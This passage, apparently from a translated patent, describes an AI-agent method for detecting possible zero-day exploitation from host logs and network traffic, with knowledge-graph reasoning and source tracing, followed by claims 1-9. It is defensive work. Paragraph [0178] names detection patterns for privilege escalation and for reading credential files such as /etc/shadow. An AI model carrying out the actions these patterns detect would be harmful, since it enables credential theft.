[0172] By employing the method provided in this invention, an AI agent is trained using key technical features such as numerical features, categorical features, and sequential features. This enables the AI ​​agent to identify potential abnormal traffic before zero-day vulnerabilities are publicly disclosed. Simultaneously, a knowledge graph is used to analyze the abnormal traffic. By establishing correspondences between abnormal traffic and known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes, the system further determines whether zero-day vulnerabilities exist. This approach allows the AI ​​agent to provide proactive warnings before attacks occur, improving vulnerability response effectiveness. Furthermore, this method can also trace the origins of zero-day vulnerabilities, providing early warnings and tracing clues in the initial stages of an attack. This helps security personnel deploy defense strategies in advance, shortening the vulnerability handling cycle. It can be applied to scenarios such as enterprise security operations centers (SOCs), government cybersecurity protection, and critical infrastructure defense, possessing significant industrialization and promotional value.

[0173] Example 3

[0174] Embodiment 3 of the present invention provides an AI agent early warning method for zero-day vulnerabilities. Figure 3 A flowchart illustrating this method is shown, as follows: Figure 3 As shown, the method includes:

[0175] Step 301: Collect host logs.

[0176] By using the host's built-in log agent (such as Linux rsyslog or Windows Event Tracing), operating system logs (kernel logs, process start / stop logs), application runtime logs (such as Java application exception stack logs, web service access logs), and security audit logs (user login logs, file permission change logs) are collected in real time and stored in a local log buffer according to the "timestamp + host IP + log type" classification to avoid log loss or tampering.

[0177] Step 302: Model the log features.

[0178] The collected raw logs are cleaned (duplicate logs are filtered and missing fields are filled in), and system call sequences (such as open-read-write-close process operation sequences) are extracted by regular expression matching. Combined with statistical analysis, abnormal event patterns are identified, including high-frequency privilege escalation operations (such as multiple su / sudo command calls in a short period of time), illegal file access (access to sensitive files such as / etc / shadow), and abnormal process creation (child processes whose parent process is an unknown program). These features are converted into fixed-dimensional vector format for subsequent inference.

[0179] Step 303: Use an AI agent to infer from the collected host logs to determine whether a zero-day vulnerability exists.

[0180] The intelligent agent adopts a hybrid sequence anomaly detection method of "Long Short-Term Memory Network (LSTM) + Isolation Forest": First, the LSTM model learns the temporal pattern of normal system call sequences, and then the Isolation Forest algorithm is used to cluster the feature vectors of log sequences. If the distance between a sequence and the normal cluster exceeds a preset threshold (such as Euclidean distance > 3σ), and the prediction error of the LSTM model for the sequence is > 50%, it is judged as an indication of an unknown vulnerability being triggered.

[0181] Step 304: Perform vulnerability tracing.

[0182] The abnormal system call sequence is matched with the preset "vulnerability-call mapping library" (including the feature call chain corresponding to known vulnerabilities). If no match is found, it is marked as a potential 0-day vulnerability. Combined with the host patch management system data, it is confirmed that the vulnerability does not correspond to an installed patch. Then, the process initiating the abnormal call is traced back through the process relationship chain (such as ps -ef process tree) to locate the source process and startup path of the 0-day vulnerability exploit.

[0183] Step 305: Issue a risk warning.

[0184] The system automatically generates a structured early warning report, which includes abnormal log fragments, potential vulnerability locations, source process information, and details of unpatched vulnerabilities. This report is pushed to security personnel through the Security Operations Center (SOC) platform, along with temporary protection recommendations (such as terminating the source process and restricting access to sensitive files). The system also generates an early warning, alerting security personnel that there may be unpatched zero-day vulnerabilities and recommending that they take immediate protective measures.

[0185] By employing the method provided in this invention, an AI agent is trained using host logs. This enables the AI ​​agent to identify zero-day vulnerabilities before they are publicly disclosed, providing proactive warnings before attacks occur and improving vulnerability response effectiveness. Furthermore, this method can also trace the origins of zero-day vulnerabilities, providing early warnings and tracing clues in the initial stages of an attack. This helps security personnel deploy defense strategies in advance, shortening the vulnerability handling cycle. It can be applied to scenarios such as enterprise security operations centers (SOCs), government cybersecurity protection, and critical infrastructure defense, possessing significant industrialization and promotional value.

[0186] Example 4

[0187] Based on the same technical concept as Embodiments 1 and 2 above, this embodiment of the invention provides an AI intelligent agent early warning device for zero-day vulnerabilities, used to implement the method provided by Embodiments 1 or 2 above and any preferred embodiments thereof. The implementation details of this embodiment can be referred to in Embodiments 1 and 2, and will not be repeated here. Figure 4 A schematic diagram of the device is shown. Figure 4 As shown, the device includes:

[0188] The acquisition module 41 is used to collect network traffic data of the interaction between the enterprise's internal network and the external public network, parse the network traffic data, reconstruct the communication sessions corresponding to the network traffic data, and extract key technical features related to zero-day vulnerabilities in the communication sessions.

[0189] The vulnerability reasoning module 42 is used to analyze key technical features related to 0-day vulnerabilities using a pre-trained AI agent. If the analysis result is abnormal traffic, the module uses a knowledge graph to perform correlation reasoning.

[0190] The early warning module 43 is used to output an early warning report when the reasoning result of the vulnerability reasoning module is that a 0-day vulnerability exists;

[0191] The key technical features include numerical features, categorical features, and sequence features;

[0192] Vulnerability reasoning module 42 is used for:

[0193] The knowledge graph is used to pre-store the correspondence between traffic feature nodes, known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes.

[0194] Search the knowledge graph for similar traffic features whose key technical characteristics are more than a threshold similar to those of abnormal traffic, and determine whether the similar traffic features correspond to nodes of known vulnerability exploitation behavior.

[0195] If the result is yes, it indicates that a 0-day vulnerability exists.

[0196] If the result is negative, search for vulnerability type nodes that may be associated with the abnormal traffic in the knowledge graph. If there are associated vulnerability type nodes, check whether the associated vulnerability type nodes have an impact relationship with the asset nodes corresponding to the abnormal traffic. If there is an impact relationship and the asset node is in the state of not fixing the associated vulnerability type, then further search for threat intelligence nodes corresponding to the abnormal traffic. If there are corresponding threat intelligence nodes, then it is determined that there is a 0-day vulnerability.

[0197] Otherwise, it is determined that there is no zero-day vulnerability.

[0198] In this invention, an AI agent is trained using key technical features such as numerical features, categorical features, and sequential features. This enables the AI ​​agent to identify potential abnormal traffic before zero-day vulnerabilities are publicly disclosed. Simultaneously, a knowledge graph is used to analyze the abnormal traffic. By mapping the abnormal traffic to known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes, the system further determines whether the abnormal traffic contains a zero-day vulnerability. This approach allows the AI ​​agent to provide proactive warnings before an attack occurs, improving vulnerability response effectiveness. Furthermore, this method can also trace the origin of zero-day vulnerabilities, providing early warnings and tracing clues in the initial stages of an attack. This helps security personnel deploy defense strategies in advance, shortening the vulnerability handling cycle. It can be applied to scenarios such as enterprise security operations centers (SOCs), government cybersecurity protection, and critical infrastructure defense, possessing significant industrialization and promotional value.

[0199] Finally, it should be noted that the above embodiments are only used to illustrate the technical solutions of the present invention, and not to limit them. Those skilled in the art should understand that modifications can be made to the technical solutions described in the foregoing embodiments, or equivalent substitutions can be made to some of the technical features; these modifications or substitutions do not cause the essence of the corresponding technical solutions to deviate from the spirit and scope of the technical solutions of the embodiments of the present invention.

Claims

1. An AI agent early warning method for zero-day vulnerabilities, characterized in that, include: Collect network traffic data of the interaction between the enterprise's internal network and the external public network, parse the network traffic data, reconstruct the communication sessions corresponding to the network traffic data, and extract the key technical features related to 0-day vulnerabilities in the communication sessions; The system uses a pre-trained AI agent to analyze key technical characteristics related to zero-day vulnerabilities. If the analysis results indicate abnormal traffic, it uses a knowledge graph to perform correlation reasoning. If the reasoning result indicates the existence of a zero-day vulnerability, it outputs an early warning report. The key technical features include numerical features, categorical features, and sequence features; Using knowledge graphs to perform associative reasoning includes: The knowledge graph is used to pre-store the correspondence between traffic feature nodes, known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes. Search the knowledge graph for similar traffic features whose key technical characteristics are more than a threshold similar to those of abnormal traffic, and determine whether the similar traffic features correspond to nodes of known vulnerability exploitation behavior. If the result is yes, it indicates that a 0-day vulnerability exists. If the result is negative, search for vulnerability type nodes that may be associated with the abnormal traffic in the knowledge graph. If there are associated vulnerability type nodes, check whether the associated vulnerability type nodes have an impact relationship with the asset nodes corresponding to the abnormal traffic. If there is an impact relationship and the asset node is in the state of not fixing the associated vulnerability type, then further search for threat intelligence nodes corresponding to the abnormal traffic. If there are corresponding threat intelligence nodes, then it is determined that there is a 0-day vulnerability. Otherwise, it is determined that there is no zero-day vulnerability.

2. The AI ​​agent early warning method for zero-day vulnerabilities according to claim 1, characterized in that, The numerical features include payload length, entropy value, and TLS handshake duration; the categorical features include HTTP method and cipher suite type; and the sequential features include a sequence of payload length changes for a predetermined number of consecutive sessions.

3. The AI ​​agent early warning method for zero-day vulnerabilities according to claim 1, characterized in that, The analysis of key technical features related to zero-day vulnerabilities using pre-trained AI agents includes: training the AI ​​agent to autonomously learn the key technical features of normal traffic; and optimizing the AI ​​agent's recognition accuracy of vulnerability exploitation-type abnormal traffic based on key technical features by using known vulnerability exploitation traffic samples and manually labeled abnormal traffic samples.

4. The AI ​​agent early warning method for zero-day vulnerabilities according to claim 3, characterized in that, The AI ​​agent pre-training process uses a stacked autoencoder, which includes three hidden layers with 32, 16, and 32 neurons respectively. By minimizing the mean square error (MSE) between the input features and the reconstructed features, it autonomously learns the key technical features of normal traffic, the key technical features of known vulnerability exploitation traffic samples, and manually labeled abnormal traffic samples, and outputs two classification results: normal traffic and abnormal traffic.

5. The AI ​​agent early warning method for zero-day vulnerabilities according to any one of claims 1-4, characterized in that, Analyzing key technical features related to zero-day vulnerabilities using pre-trained AI agents includes: standardizing the extracted key technical features, converting them into a vector format that the AI ​​agent can recognize, and associating them with corresponding traffic metadata.

6. The AI ​​agent early warning method for zero-day vulnerabilities according to any one of claims 1-4, characterized in that, After determining the existence of a zero-day vulnerability, the process also includes: performing source tracing to locate the attack entry point, including: Extract the payload content from abnormal traffic and observe the abnormal behavior triggered by the payload through dynamic execution in a sandbox; Retrieve traffic data from other devices within the same asset cluster of the asset node corresponding to the abnormal traffic. If the abnormal behavior is triggered only on the asset node corresponding to the abnormal traffic, then the asset node corresponding to the abnormal traffic is identified as the attack entry point.

7. The AI ​​agent early warning method for zero-day vulnerabilities according to claim 6, characterized in that, This also includes tracing attack paths, including: extracting the source IP of abnormal traffic and verifying whether it is a genuine attack source through the following dimensions: By checking historical traffic, if the source IP sent port scanning traffic or fingerprinting traffic within a preset time period before the attack, it is determined to be a direct attack source. Otherwise, it is determined to be a multi-hop attack path, and the upstream real source is traced using the following methods: Analyze the outbound traffic of the direct attack source IP during the attack period, extract the upstream IPs that have established TCP long connections with the source IP, and check whether the traffic sent by the upstream IPs contains command and control content; If the traffic sent by the upstream IP contains command and control content, retrieve the routing logs of the enterprise border router and firewall to view the inbound interface and next-hop information of the abnormal traffic, and determine the attack path of the abnormal traffic.

8. The AI ​​agent early warning method for zero-day vulnerabilities according to claim 6, characterized in that, It also includes parsing attack methods, including structured parsing of payload content from abnormal traffic: If the payload is an HTTP request parameter, it is broken down into a parameter name + parameter value structure. It is then identified whether it includes a special encoding layer. If it does, the attack method is determined to be parameter injection. If the payload is binary data, entropy analysis is used to determine whether it contains known vulnerability trigger codes. If it does, the attack method is determined to be code execution.

9. An AI agent early warning device for zero-day vulnerabilities, used to implement the method according to any one of claims 1-8, characterized in that, include: The data acquisition module is used to collect network traffic data between the enterprise's internal network and the external public network, parse the network traffic data, reconstruct the communication sessions corresponding to the network traffic data, and extract key technical features related to zero-day vulnerabilities in the communication sessions. The vulnerability reasoning module is used to analyze key technical features related to 0-day vulnerabilities using a pre-trained AI agent. If the analysis result is abnormal traffic, it uses a knowledge graph to perform correlation reasoning. The early warning module outputs an early warning report when the vulnerability reasoning module determines that a 0-day vulnerability exists. The key technical features include numerical features, categorical features, and sequence features; The vulnerability inference module is used for: The knowledge graph is used to pre-store the correspondence between traffic feature nodes, known vulnerability exploitation behavior nodes, potentially associated vulnerability type nodes, asset nodes, and threat intelligence nodes. Search the knowledge graph for similar traffic features whose key technical characteristics are more than a threshold similar to those of abnormal traffic, and determine whether the similar traffic features correspond to nodes of known vulnerability exploitation behavior. If the result is yes, it indicates that a 0-day vulnerability exists. If the result is negative, search for vulnerability type nodes that may be associated with the abnormal traffic in the knowledge graph. If there are associated vulnerability type nodes, check whether the associated vulnerability type nodes have an impact relationship with the asset nodes corresponding to the abnormal traffic. If there is an impact relationship and the asset node is in the state of not fixing the associated vulnerability type, then further search for threat intelligence nodes corresponding to the abnormal traffic. If there are corresponding threat intelligence nodes, then it is determined that there is a 0-day vulnerability. Otherwise, it is determined that there is no zero-day vulnerability.

Images